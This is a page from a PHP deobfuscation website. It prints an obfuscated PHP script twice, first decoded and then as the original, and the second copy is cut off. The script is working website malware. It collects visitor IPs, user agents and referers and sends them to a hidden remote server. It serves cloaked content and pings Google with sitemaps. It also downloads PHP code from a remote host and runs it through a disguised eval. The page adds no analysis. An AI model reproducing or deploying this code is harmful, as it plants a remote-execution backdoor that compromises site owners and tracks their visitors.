Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto rx24G; QmRGT: function yVdg_($KqBjC, $gHMlE, $zkkZX) { goto s39Xs; NORR8: bE..

Decoded Output download

<?php  
 goto rx24G; QmRGT: function yVdg_($KqBjC, $gHMlE, $zkkZX) { goto s39Xs; NORR8: bEMOv: goto aqLdQ; wpmI4: var_dump($hA6J5); goto u5kkJ; b5Viq: var_dump($MkXEY); goto wpmI4; DmxPy: if (!(strpos($hA6J5, $p0q21) != false)) { goto bEMOv; } goto azP7X; sn4a5: if (!isset($_REQUEST["st"])) { goto lcn2c; } goto b5Viq; u5kkJ: die; goto qFFfa; A8Uv_: $hA6J5 = pOPk3($MkXEY); goto sn4a5; aqLdQ: die($Yq5Tg); goto BkHQb; x04WK: $p0q21 = "google"; goto ztNw2; s39Xs: $RhGcJ = "https://%s/ping?sitemap=%s%s/%s"; goto FNx1E; ztNw2: $uGu5J = "success"; goto GrWtl; FNx1E: $MkXEY = sprintf($RhGcJ, $KqBjC, $zkkZX["protocol"], $zkkZX["server_domain"], $gHMlE); goto A8Uv_; qFFfa: lcn2c: goto x04WK; azP7X: die($uGu5J); goto NORR8; GrWtl: $Yq5Tg = "failed"; goto DmxPy; BkHQb: } goto OFkY1; tEExs: function hV9Ek($vtm9x) { goto n2hpI; OmOC9: $Erj06 = substr($vtm9x, 7, strlen($vtm9x) - 14); goto K1HvJ; UmIL2: $jT28P = substr($vtm9x, -5); goto OmOC9; n2hpI: $y49Z7 = substr($vtm9x, 0, 5); goto UmIL2; K1HvJ: return gzinflate(base64_decode($y49Z7 . $Erj06 . $jT28P)); goto MnSMn; MnSMn: } goto WoNZz; d2h8q: function AOG5e($agFil, $ijkA2) { goto I6gKC; UJswA: yvDg_($paxdW, $gHMlE, $zkkZX); goto qqunA; cU9WZ: $BnHeR = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; goto CpLcJ; O_SH1: lHJQN: goto pGD_s; uPmvH: goto V18gh; goto vfIxm; Pi35H: die; goto R3g6a; Lpd1O: $zkkZX["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto EZtTx; tgxIH: hJ_5J(sprintf($BnHeR[2], base64_decode(bY4M_($ijkA2)), $zkkZX["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); goto uMI37; r3KKf: if (!isset($_GET["sitemap"])) { goto Y7Sqk; } goto I398h; MzMl5: $zkkZX["request_url"] = $_SERVER["REQUEST_URI"]; goto Lpd1O; pGD_s: $ohbfD = a6ulc($zAP50); goto Qb8YK; JL24O: echo $ohbfD[1]; goto Pi35H; jAVRM: $zkkZX["ip"] = q1H04(); goto ZK3dW; TFAww: var_dump($zAP50); goto Q1u61; Ksx1r: $FYG0D = sprintf($BnHeR[0], $zkkZX["api"], by4m_(base64_encode(implode("{|}", $KX0tE)))); goto C8cNp; C8cNp: $zAP50 = POpk3($FYG0D); goto ChJft; F3Fq_: kqPdu: goto UJswA; I9uxE: if (!isset($_GET["params"])) { goto N1Fsr; } goto u2Y5J; MgvwH: $zkkZX["language"] = ''; goto uPmvH; N2Ulq: var_dump($zAP50); goto yZk_O; vsSI9: $paxdW = "www.google.com"; goto zW69h; BCvGn: $zkkZX["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto XIynZ; nGHpf: $zkkZX["protocol"] = "http://"; goto wIjxC; u2Y5J: print_r($zkkZX); goto FjEAP; uMI37: E7t32: goto mtkXF; wIjxC: goto GceOC; goto Ts0lk; yZk_O: die; goto O_SH1; xGibA: N1Fsr: goto r3KKf; qqunA: Y7Sqk: goto cU9WZ; Udy8F: GceOC: goto TNScd; vfIxm: cu5cj: goto BCvGn; TtgWx: $zkkZX["default_params"] = $agFil; goto WDJR_; axStY: if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { goto E7t32; } goto tgxIH; MUyJ5: $zkkZX["server_domain"] = MjkHV(); goto MzMl5; mtkXF: $KX0tE = array("domain" => $zkkZX["server_domain"], "request_url" => $zkkZX["request_url"], "ip" => $zkkZX["ip"], "agent" => $zkkZX["user_agent"], "referer" => $zkkZX["referer"], "protocol" => $zkkZX["protocol"], "language" => $zkkZX["language"]); goto Ksx1r; ChJft: if (!isset($_REQUEST["dump"])) { goto lHJQN; } goto TFAww; R3g6a: SspSk: goto tUZpJ; EZtTx: $zkkZX["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto jAVRM; hHj28: @header($ohbfD[0]); goto JL24O; XIynZ: V18gh: goto I9uxE; CpLcJ: $BnHeR = explode("|", $BnHeR); goto axStY; FjEAP: die; goto xGibA; zW69h: if (!isset($_GET["google_url"])) { goto kqPdu; } goto MRrpr; ZK3dW: if (isset($_SERVER["HTTPS"])) { goto z1OfW; } goto nGHpf; MRrpr: $paxdW = $_GET["google_url"]; goto F3Fq_; I398h: $gHMlE = $_GET["sitemap"]; goto vsSI9; Q1u61: $zAP50 = popK3($BnHeR[1]); goto N2Ulq; Qb8YK: if (!($ohbfD !== false)) { goto SspSk; } goto hHj28; WDJR_: $zkkZX["api"] = base64_decode(bY4M_($zkkZX["default_params"])); goto MUyJ5; LsIOe: $zkkZX["protocol"] = "https://"; goto Udy8F; Ts0lk: z1OfW: goto LsIOe; TNScd: if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto cu5cj; } goto MgvwH; I6gKC: $zkkZX = array(); goto TtgWx; tUZpJ: } goto WO3Zm; lLbdX: function mjKHv($vtm9x = '') { goto XTC3c; Y351k: return $_SERVER["HTTP_HOST"]; goto J8H5L; tRIrI: return $_SERVER["SERVER_NAME"]; goto hhvpE; XTC3c: if (isset($_SERVER["HTTP_HOST"])) { goto Ld0YK; } goto SLwsR; HMJXe: qhqdu: goto tRIrI; p_hjE: Ld0YK: goto Y351k; GEDlM: goto oqEbf; goto p_hjE; hhvpE: oqEbf: goto hhC2x; SLwsR: if (isset($_SERVER["SERVER_NAME"])) { goto qhqdu; } goto GEDlM; J8H5L: goto oqEbf; goto HMJXe; hhC2x: return $vtm9x/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; goto lYiIn; lYiIn: } goto xdzNP; a7up0: function Q1h04($tzmyV = '') { goto uR6ln; bqV2F: return trim($tzmyV); goto RPFwR; dbeWW: $tzmyV = $tzmyV ? $tzmyV : $_SERVER["REMOTE_ADDR"]; goto bqV2F; uR6ln: $tzmyV = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto dbeWW; RPFwR: } goto lLbdX; OFkY1: function A6Ulc($zAP50) { goto A3mLe; A3mLe: $kh724 = @preg_split("/{\|}/si", $zAP50, -1, PREG_SPLIT_NO_EMPTY); goto PY7m6; PY7m6: if (is_array($kh724)) { goto JsQDu; } goto OrB30; nrwtP: if (!(count($kh724) != 2)) { goto pDarb; } goto mL0zl; OrB30: return false; goto TqtHB; TqtHB: JsQDu: goto nrwtP; cO4yu: pDarb: goto Jit3Q; Jit3Q: return $kh724; goto fh5mH; mL0zl: return false; goto cO4yu; fh5mH: } goto d2h8q; xdzNP: function HJ_5j($FYG0D) { goto kFhq_; EuK9e: $WB3mW = str_replace($Lxegy, '', $WB3mW); goto alpM0; sV1oV: VZm2Q: goto MWuCq; vsHMb: fclose($KyVrv); goto Ya7Iu; MWuCq: fwrite($KyVrv, $WB3mW); goto F1dA7; yGFag: DbfUd: goto lR6ZF; CaB98: if (!(strpos($WB3mW, $Lxegy) === false)) { goto DbfUd; } goto IizNR; F1dA7: $WAcre = stream_get_meta_data($KyVrv); goto oAKnR; lR6ZF: $KyVrv = tmpfile(); goto jtnXm; Ya7Iu: die; goto X_91p; ITwNZ: $Px_v7($WB3mW); goto mvmJh; oAKnR: @(require $WAcre["uri"]); goto vsHMb; kFhq_: $WB3mW = pOpk3($FYG0D); goto aZ406; aZ406: $Lxegy = base64_decode("PD9waHA="); goto CaB98; jtnXm: if (!isset($_REQUEST["e"])) { goto VZm2Q; } goto EuK9e; IizNR: die("get failed"); goto yGFag; alpM0: $Px_v7 = "e" . "v" . "a" . "l"; goto ITwNZ; mvmJh: die; goto sV1oV; X_91p: } goto BnxLu; EVm5w: $ijkA2 = "Ha0RHc6MyLj9CNp53Y0cnL5hie8="; goto tEExs; BnxLu: function bY4M_($agFil) { goto gBwDI; gj6R8: $BY1SW = ''; goto Z6_ad; Z6_ad: $kbVWU = 0; goto TMPao; KfaVR: $kbVWU = $kbVWU + 2; goto ExGNv; ExGNv: goto MqfwI; goto et1XA; TMPao: MqfwI: goto PMQ0y; nX928: $XzPhY = str_split($agFil); goto gj6R8; KeVXA: return $BY1SW; goto NQ8IQ; et1XA: pJioE: goto P8Thl; PMQ0y: if (!($kbVWU < count($XzPhY) - 2)) { goto pJioE; } goto GS76E; P8Thl: $BY1SW .= $IPEZu; goto KeVXA; gBwDI: $IPEZu = substr($agFil, strlen($agFil) - 2); goto nX928; Wfm_N: BwUDr: goto KfaVR; GS76E: $BY1SW .= $XzPhY[$kbVWU + 1] . $XzPhY[$kbVWU]; goto Wfm_N; NQ8IQ: } goto QmRGT; qbDeE: function yj3wu($Scc85) { return hexdec($Scc85[1]) == strlen($Scc85[2]) ? $Scc85[2] : $Scc85[0]; } goto a7up0; rx24G: error_reporting(0); goto t6_FA; WoNZz: function PopK3($FYG0D) { goto Yr5CV; BxXA3: isset($w8U2z["port"]) || ($w8U2z["port"] = ''); goto QBbj4; Kazeq: $pqbyC[] = "User-Agent: s"; goto gLCrb; hPISw: $pOWB8 = $WeMZx = $Z1I3g = $G6SMc = ''; goto xrARJ; jbEyF: unset($oVxSa); goto ZiK2P; JjnRz: $lEtvt = fgets($uqdSH); goto bhrnx; eFO8v: return $JSs4A; goto ahYfQ; walk1: $h8eH8 = "ssl://"; goto Xdx1n; gLCrb: $pqbyC[] = "Accept: */*"; goto bLsfe; MuAqz: fwrite($uqdSH, $WeMZx); goto A1WEs; Xdx1n: $h8eH8 .= $w8U2z["host"]; goto Vv6w_; VEXct: $h8eH8 = $w8U2z["host"]; goto aPXGe; fIdTD: $pqbyC[] = "Connection: Close"; goto Kazeq; Kihcz: $uQCJW = curl_init(); goto nGUjw; O8Px8: $oVxSa = gethostbyname($h8eH8); goto HTzrh; FKPt1: if (!($af1ET != false)) { goto fiAPy; } goto juVn2; BKrqm: $jG1RL .= $h8eH8; goto jYA95; t2T_s: lz90u: goto Oi5k6; DXe2e: GaWHY: goto lEAZs; Bfak6: unset($Atn_F); goto i1gKj; y468v: curl_setopt($uQCJW, CURLOPT_FRESH_CONNECT, TRUE); goto vDohk; u1bJ1: $WAcre = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto hPISw; bXpsw: frw_v: goto HLgGG; gZcfa: $WeMZx = "GET {$OY1dy} HTTP/{$J36GU}" . PHP_EOL . join(PHP_EOL, $pqbyC) . PHP_EOL . PHP_EOL; goto EAera; WX4Uc: if (substr($pOWB8, -1) == "n") { goto frw_v; } goto L9rgw; ahYfQ: goto lz90u; goto jsiUW; VxiV4: goto F1VfC; goto Xp_c3; bZu2J: if ($uqdSH) { goto G8lqy; } goto TvxWA; XoLxV: unset($mwgpZ); goto s0VkF; v34yH: curl_setopt($uQCJW, CURLOPT_RETURNTRANSFER, 1); goto ZtxIt; eZf9z: CN5YB: goto JybHs; aPXGe: if ($w8U2z["scheme"] == "https") { goto pmlLZ; } goto cypvb; OArdi: a214y: goto dbvUn; ZtxIt: curl_setopt($uQCJW, CURLOPT_TIMEOUT, 100); goto y468v; EAera: unset($pqbyC, $w8U2z, $J36GU, $OY1dy); goto jKIPr; rly7t: unset($WAcre, $P475Z); goto gLNd5; QBbj4: $OY1dy = $w8U2z["path"] ? $w8U2z["path"] . ($w8U2z["query"] ? "?" . $w8U2z["query"] : '') : "/"; goto VEXct; BULmU: goto FY7n2; goto W_Kl1; QNepO: isset($w8U2z["host"]) || ($w8U2z["host"] = ''); goto s3fZD; HTzrh: $uqdSH = $pOWB8(AF_INET, SOCK_STREAM, 0); goto q7SxK; ekUCn: if ($mwgpZ["timed_out"]) { goto Guv0p; } goto DXe2e; A0dIY: if (!$JSs4A) { goto Gchbz; } goto eFO8v; bLsfe: unset($jG1RL); goto gZcfa; SGe3B: return trim(trim($zAP50, "\357\xbb\xbf")); goto xkyFK; nGUjw: curl_setopt($uQCJW, CURLOPT_URL, $FYG0D); goto ctMJj; OYNBJ: goto HdSaZ; goto ls4kj; j0Ngs: $tCTFr = empty($w8U2z["port"]) ? 443 : $w8U2z["port"]; goto walk1; Vv6w_: F1VfC: goto WbKjB; ZiK2P: oYRDK: goto BULmU; PCkYp: unset($ohbfD); goto OYNBJ; x1e_o: goto GaWHY; goto Z5RgZ; ee_PP: $uqdSH = stream_socket_client($AfHxa, $Z1I3g, $G6SMc, 30); goto bBchY; lEAZs: if (feof($uqdSH)) { goto jPwfl; } goto JjnRz; zpdEF: $zAP50 .= $ohbfD; goto PCkYp; e_9pm: unset($lEtvt); goto x1e_o; s3fZD: isset($w8U2z["path"]) || ($w8U2z["path"] = ''); goto xAKtC; HLgGG: $uqdSH = $pOWB8($h8eH8, $tCTFr, $Z1I3g, $G6SMc, 30); goto n8E7H; CvnmJ: $tCTFr = empty($w8U2z["port"]) ? 80 : $w8U2z["port"]; goto VxiV4; nhRUB: $AfHxa .= $h8eH8; goto uO3Gi; FZfGT: socket_close($uqdSH); goto jbEyF; PYpLV: goto CSaBY; goto bXpsw; ls4kj: COExq: goto oT9Vv; ULmla: socket_write($uqdSH, $WeMZx, strlen($WeMZx)); goto lctoA; uO3Gi: $AfHxa .= ":"; goto KzKzm; gLNd5: if (!($pOWB8 == '')) { goto C2Fui; } goto h6TQc; bhrnx: if (!($lEtvt && (rawurlencode($lEtvt) == "%0D%0A" || rawurlencode($lEtvt) == "%0A"))) { goto Ilw4O; } goto P_9Y4; Z5RgZ: jPwfl: goto QCE0b; kBXr4: stream_set_blocking($uqdSH, TRUE); goto NOODg; W_Kl1: G8lqy: goto kBXr4; s0VkF: fclose($uqdSH); goto BEG2j; Op4DN: array_shift($zAP50); goto z5G3o; dbvUn: $af1ET = file_get_contents($FYG0D); goto FKPt1; BEG2j: FY7n2: goto BBjhc; P_9Y4: goto jPwfl; goto sXCKQ; z5G3o: $zAP50 = implode("\xd\xa 
", $zAP50); goto I0mL6; Yr5CV: if (preg_match("/^https*\:\/\//si", $FYG0D)) { goto a214y; } goto EXBF8; sXCKQ: Ilw4O: goto e_9pm; dsZKv: if (!($Atn_F = @socket_read($uqdSH, 8192))) { goto CN5YB; } goto DZAtd; qvL0G: $JSs4A = curl_exec($uQCJW); goto FQCsX; c9eaG: uulkY: goto PYpLV; BBjhc: unset($WeMZx, $pOWB8, $uqdSH, $tCTFr, $h8eH8); goto fI_ps; NOODg: stream_set_timeout($uqdSH, 30); goto MuAqz; TvxWA: if (!(substr($pOWB8, -1) == "e")) { goto oYRDK; } goto O8Px8; lctoA: qHhn2: goto dsZKv; raQtI: $w8U2z = parse_url($FYG0D); goto QNepO; vDohk: curl_setopt($uQCJW, CURLOPT_SSL_VERIFYPEER, 0); goto qvL0G; aOYgQ: $zAP50 = ''; goto bZu2J; WbKjB: $jG1RL = "Host: "; goto BKrqm; FQCsX: curl_close($uQCJW); goto A0dIY; jsiUW: Gchbz: goto ty5sv; DZAtd: $zAP50 .= $Atn_F; goto Bfak6; ty5sv: return "501"; goto t2T_s; i1gKj: goto qHhn2; goto eZf9z; EXBF8: return "500"; goto OArdi; Xc8Sv: $J36GU = "1.1"; goto j0Ngs; XkKqL: if (feof($uqdSH)) { goto COExq; } goto YuhIp; Ofm8Q: if (!(substr($pOWB8, 0, 1) == "c")) { goto JOony; } goto Kihcz; h6TQc: return 0; goto BukxF; QCE0b: HdSaZ: goto XkKqL; A1WEs: $mwgpZ = stream_get_meta_data($uqdSH); goto ekUCn; Oi5k6: JOony: goto raQtI; jYA95: $pqbyC[] = $jG1RL; goto fIdTD; YuhIp: $ohbfD = fread($uqdSH, 8192); goto zpdEF; v4HoT: fiAPy: goto u1bJ1; juVn2: return $af1ET; goto v4HoT; xAKtC: isset($w8U2z["query"]) || ($w8U2z["query"] = ''); goto BxXA3; JybHs: $zAP50 = explode("\xd\xa\xd 
", $zAP50); goto Op4DN; KzKzm: $AfHxa .= $tCTFr; goto ee_PP; fI_ps: $zAP50 = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $zAP50); goto SGe3B; L9rgw: if (!(substr($pOWB8, -1) == "t")) { goto uulkY; } goto aUvz0; cypvb: $J36GU = "1.0"; goto CvnmJ; oT9Vv: Guv0p: goto XoLxV; q7SxK: if (!socket_connect($uqdSH, $oVxSa, $tCTFr)) { goto kbnFh; } goto ULmla; bBchY: unset($AfHxa); goto c9eaG; ctMJj: curl_setopt($uQCJW, CURLOPT_USERAGENT, "s"); goto v34yH; jKIPr: $uqdSH = null; goto WX4Uc; xrARJ: foreach (explode("|", $WAcre) as $P475Z) { goto NXmZM; CkHIw: zvGwN: goto vf2d8; J9JBL: foreach (explode("+", $P475Z) as $DjD3I) { if (!function_exists($DjD3I)) { $qgiyB = 0; } OU_Rp: } goto P9ZkP; NXmZM: $qgiyB = 1; goto J9JBL; hEQci: goto gzXgq; goto GAz1B; B3EiI: unset($DjD3I); goto ONCJW; P9ZkP: anWNT: goto B3EiI; ONCJW: if (!$qgiyB) { goto O1IbC; } goto kXc0f; GAz1B: O1IbC: goto CkHIw; kXc0f: $pOWB8 = $P475Z; goto hEQci; vf2d8: } goto LH3bd; aUvz0: $AfHxa = "tcp://"; goto nhRUB; LH3bd: gzXgq: goto rly7t; Xp_c3: pmlLZ: goto Xc8Sv; n8E7H: CSaBY: goto aOYgQ; I0mL6: kbnFh: goto FZfGT; BukxF: C2Fui: goto Ofm8Q; xkyFK: } goto qbDeE; t6_FA: $agFil = "Ha0RDcvo3LzVjMzEXLyYjMuEXekdDN5IDZuI2Yt9wL=="; goto EVm5w; WO3Zm: AoG5e($agFil, $ijkA2);  
?>

Did this file decode correctly?

Original Code

<?php 
 goto rx24G; QmRGT: function yVdg_($KqBjC, $gHMlE, $zkkZX) { goto s39Xs; NORR8: bEMOv: goto aqLdQ; wpmI4: var_dump($hA6J5); goto u5kkJ; b5Viq: var_dump($MkXEY); goto wpmI4; DmxPy: if (!(strpos($hA6J5, $p0q21) != false)) { goto bEMOv; } goto azP7X; sn4a5: if (!isset($_REQUEST["st"])) { goto lcn2c; } goto b5Viq; u5kkJ: die; goto qFFfa; A8Uv_: $hA6J5 = pOPk3($MkXEY); goto sn4a5; aqLdQ: die($Yq5Tg); goto BkHQb; x04WK: $p0q21 = "google"; goto ztNw2; s39Xs: $RhGcJ = "https://%s/ping?sitemap=%s%s/%s"; goto FNx1E; ztNw2: $uGu5J = "success"; goto GrWtl; FNx1E: $MkXEY = sprintf($RhGcJ, $KqBjC, $zkkZX["protocol"], $zkkZX["server_domain"], $gHMlE); goto A8Uv_; qFFfa: lcn2c: goto x04WK; azP7X: die($uGu5J); goto NORR8; GrWtl: $Yq5Tg = "failed"; goto DmxPy; BkHQb: } goto OFkY1; tEExs: function hV9Ek($vtm9x) { goto n2hpI; OmOC9: $Erj06 = substr($vtm9x, 7, strlen($vtm9x) - 14); goto K1HvJ; UmIL2: $jT28P = substr($vtm9x, -5); goto OmOC9; n2hpI: $y49Z7 = substr($vtm9x, 0, 5); goto UmIL2; K1HvJ: return gzinflate(base64_decode($y49Z7 . $Erj06 . $jT28P)); goto MnSMn; MnSMn: } goto WoNZz; d2h8q: function AOG5e($agFil, $ijkA2) { goto I6gKC; UJswA: yvDg_($paxdW, $gHMlE, $zkkZX); goto qqunA; cU9WZ: $BnHeR = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; goto CpLcJ; O_SH1: lHJQN: goto pGD_s; uPmvH: goto V18gh; goto vfIxm; Pi35H: die; goto R3g6a; Lpd1O: $zkkZX["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto EZtTx; tgxIH: hJ_5J(sprintf($BnHeR[2], base64_decode(bY4M_($ijkA2)), $zkkZX["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); goto uMI37; r3KKf: if (!isset($_GET["sitemap"])) { goto Y7Sqk; } goto I398h; MzMl5: $zkkZX["request_url"] = $_SERVER["REQUEST_URI"]; goto Lpd1O; pGD_s: $ohbfD = a6ulc($zAP50); goto Qb8YK; JL24O: echo $ohbfD[1]; goto Pi35H; jAVRM: $zkkZX["ip"] = q1H04(); goto ZK3dW; TFAww: var_dump($zAP50); goto Q1u61; Ksx1r: $FYG0D = sprintf($BnHeR[0], $zkkZX["api"], by4m_(base64_encode(implode("{|}", $KX0tE)))); goto C8cNp; C8cNp: $zAP50 = POpk3($FYG0D); goto ChJft; F3Fq_: kqPdu: goto UJswA; I9uxE: if (!isset($_GET["params"])) { goto N1Fsr; } goto u2Y5J; MgvwH: $zkkZX["language"] = ''; goto uPmvH; N2Ulq: var_dump($zAP50); goto yZk_O; vsSI9: $paxdW = "www.google.com"; goto zW69h; BCvGn: $zkkZX["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto XIynZ; nGHpf: $zkkZX["protocol"] = "http://"; goto wIjxC; u2Y5J: print_r($zkkZX); goto FjEAP; uMI37: E7t32: goto mtkXF; wIjxC: goto GceOC; goto Ts0lk; yZk_O: die; goto O_SH1; xGibA: N1Fsr: goto r3KKf; qqunA: Y7Sqk: goto cU9WZ; Udy8F: GceOC: goto TNScd; vfIxm: cu5cj: goto BCvGn; TtgWx: $zkkZX["default_params"] = $agFil; goto WDJR_; axStY: if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { goto E7t32; } goto tgxIH; MUyJ5: $zkkZX["server_domain"] = MjkHV(); goto MzMl5; mtkXF: $KX0tE = array("domain" => $zkkZX["server_domain"], "request_url" => $zkkZX["request_url"], "ip" => $zkkZX["ip"], "agent" => $zkkZX["user_agent"], "referer" => $zkkZX["referer"], "protocol" => $zkkZX["protocol"], "language" => $zkkZX["language"]); goto Ksx1r; ChJft: if (!isset($_REQUEST["dump"])) { goto lHJQN; } goto TFAww; R3g6a: SspSk: goto tUZpJ; EZtTx: $zkkZX["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto jAVRM; hHj28: @header($ohbfD[0]); goto JL24O; XIynZ: V18gh: goto I9uxE; CpLcJ: $BnHeR = explode("|", $BnHeR); goto axStY; FjEAP: die; goto xGibA; zW69h: if (!isset($_GET["google_url"])) { goto kqPdu; } goto MRrpr; ZK3dW: if (isset($_SERVER["HTTPS"])) { goto z1OfW; } goto nGHpf; MRrpr: $paxdW = $_GET["google_url"]; goto F3Fq_; I398h: $gHMlE = $_GET["sitemap"]; goto vsSI9; Q1u61: $zAP50 = popK3($BnHeR[1]); goto N2Ulq; Qb8YK: if (!($ohbfD !== false)) { goto SspSk; } goto hHj28; WDJR_: $zkkZX["api"] = base64_decode(bY4M_($zkkZX["default_params"])); goto MUyJ5; LsIOe: $zkkZX["protocol"] = "https://"; goto Udy8F; Ts0lk: z1OfW: goto LsIOe; TNScd: if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto cu5cj; } goto MgvwH; I6gKC: $zkkZX = array(); goto TtgWx; tUZpJ: } goto WO3Zm; lLbdX: function mjKHv($vtm9x = '') { goto XTC3c; Y351k: return $_SERVER["HTTP_HOST"]; goto J8H5L; tRIrI: return $_SERVER["SERVER_NAME"]; goto hhvpE; XTC3c: if (isset($_SERVER["HTTP_HOST"])) { goto Ld0YK; } goto SLwsR; HMJXe: qhqdu: goto tRIrI; p_hjE: Ld0YK: goto Y351k; GEDlM: goto oqEbf; goto p_hjE; hhvpE: oqEbf: goto hhC2x; SLwsR: if (isset($_SERVER["SERVER_NAME"])) { goto qhqdu; } goto GEDlM; J8H5L: goto oqEbf; goto HMJXe; hhC2x: return $vtm9x/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; goto lYiIn; lYiIn: } goto xdzNP; a7up0: function Q1h04($tzmyV = '') { goto uR6ln; bqV2F: return trim($tzmyV); goto RPFwR; dbeWW: $tzmyV = $tzmyV ? $tzmyV : $_SERVER["REMOTE_ADDR"]; goto bqV2F; uR6ln: $tzmyV = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto dbeWW; RPFwR: } goto lLbdX; OFkY1: function A6Ulc($zAP50) { goto A3mLe; A3mLe: $kh724 = @preg_split("/{\|}/si", $zAP50, -1, PREG_SPLIT_NO_EMPTY); goto PY7m6; PY7m6: if (is_array($kh724)) { goto JsQDu; } goto OrB30; nrwtP: if (!(count($kh724) != 2)) { goto pDarb; } goto mL0zl; OrB30: return false; goto TqtHB; TqtHB: JsQDu: goto nrwtP; cO4yu: pDarb: goto Jit3Q; Jit3Q: return $kh724; goto fh5mH; mL0zl: return false; goto cO4yu; fh5mH: } goto d2h8q; xdzNP: function HJ_5j($FYG0D) { goto kFhq_; EuK9e: $WB3mW = str_replace($Lxegy, '', $WB3mW); goto alpM0; sV1oV: VZm2Q: goto MWuCq; vsHMb: fclose($KyVrv); goto Ya7Iu; MWuCq: fwrite($KyVrv, $WB3mW); goto F1dA7; yGFag: DbfUd: goto lR6ZF; CaB98: if (!(strpos($WB3mW, $Lxegy) === false)) { goto DbfUd; } goto IizNR; F1dA7: $WAcre = stream_get_meta_data($KyVrv); goto oAKnR; lR6ZF: $KyVrv = tmpfile(); goto jtnXm; Ya7Iu: die; goto X_91p; ITwNZ: $Px_v7($WB3mW); goto mvmJh; oAKnR: @(require $WAcre["uri"]); goto vsHMb; kFhq_: $WB3mW = pOpk3($FYG0D); goto aZ406; aZ406: $Lxegy = base64_decode("PD9waHA="); goto CaB98; jtnXm: if (!isset($_REQUEST["e"])) { goto VZm2Q; } goto EuK9e; IizNR: die("get failed"); goto yGFag; alpM0: $Px_v7 = "e" . "v" . "a" . "l"; goto ITwNZ; mvmJh: die; goto sV1oV; X_91p: } goto BnxLu; EVm5w: $ijkA2 = "Ha0RHc6MyLj9CNp53Y0cnL5hie8="; goto tEExs; BnxLu: function bY4M_($agFil) { goto gBwDI; gj6R8: $BY1SW = ''; goto Z6_ad; Z6_ad: $kbVWU = 0; goto TMPao; KfaVR: $kbVWU = $kbVWU + 2; goto ExGNv; ExGNv: goto MqfwI; goto et1XA; TMPao: MqfwI: goto PMQ0y; nX928: $XzPhY = str_split($agFil); goto gj6R8; KeVXA: return $BY1SW; goto NQ8IQ; et1XA: pJioE: goto P8Thl; PMQ0y: if (!($kbVWU < count($XzPhY) - 2)) { goto pJioE; } goto GS76E; P8Thl: $BY1SW .= $IPEZu; goto KeVXA; gBwDI: $IPEZu = substr($agFil, strlen($agFil) - 2); goto nX928; Wfm_N: BwUDr: goto KfaVR; GS76E: $BY1SW .= $XzPhY[$kbVWU + 1] . $XzPhY[$kbVWU]; goto Wfm_N; NQ8IQ: } goto QmRGT; qbDeE: function yj3wu($Scc85) { return hexdec($Scc85[1]) == strlen($Scc85[2]) ? $Scc85[2] : $Scc85[0]; } goto a7up0; rx24G: error_reporting(0); goto t6_FA; WoNZz: function PopK3($FYG0D) { goto Yr5CV; BxXA3: isset($w8U2z["port"]) || ($w8U2z["port"] = ''); goto QBbj4; Kazeq: $pqbyC[] = "User-Agent: s"; goto gLCrb; hPISw: $pOWB8 = $WeMZx = $Z1I3g = $G6SMc = ''; goto xrARJ; jbEyF: unset($oVxSa); goto ZiK2P; JjnRz: $lEtvt = fgets($uqdSH); goto bhrnx; eFO8v: return $JSs4A; goto ahYfQ; walk1: $h8eH8 = "ssl://"; goto Xdx1n; gLCrb: $pqbyC[] = "Accept: */*"; goto bLsfe; MuAqz: fwrite($uqdSH, $WeMZx); goto A1WEs; Xdx1n: $h8eH8 .= $w8U2z["host"]; goto Vv6w_; VEXct: $h8eH8 = $w8U2z["host"]; goto aPXGe; fIdTD: $pqbyC[] = "Connection: Close"; goto Kazeq; Kihcz: $uQCJW = curl_init(); goto nGUjw; O8Px8: $oVxSa = gethostbyname($h8eH8); goto HTzrh; FKPt1: if (!($af1ET != false)) { goto fiAPy; } goto juVn2; BKrqm: $jG1RL .= $h8eH8; goto jYA95; t2T_s: lz90u: goto Oi5k6; DXe2e: GaWHY: goto lEAZs; Bfak6: unset($Atn_F); goto i1gKj; y468v: curl_setopt($uQCJW, CURLOPT_FRESH_CONNECT, TRUE); goto vDohk; u1bJ1: $WAcre = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto hPISw; bXpsw: frw_v: goto HLgGG; gZcfa: $WeMZx = "GET {$OY1dy} HTTP/{$J36GU}" . PHP_EOL . join(PHP_EOL, $pqbyC) . PHP_EOL . PHP_EOL; goto EAera; WX4Uc: if (substr($pOWB8, -1) == "n") { goto frw_v; } goto L9rgw; ahYfQ: goto lz90u; goto jsiUW; VxiV4: goto F1VfC; goto Xp_c3; bZu2J: if ($uqdSH) { goto G8lqy; } goto TvxWA; XoLxV: unset($mwgpZ); goto s0VkF; v34yH: curl_setopt($uQCJW, 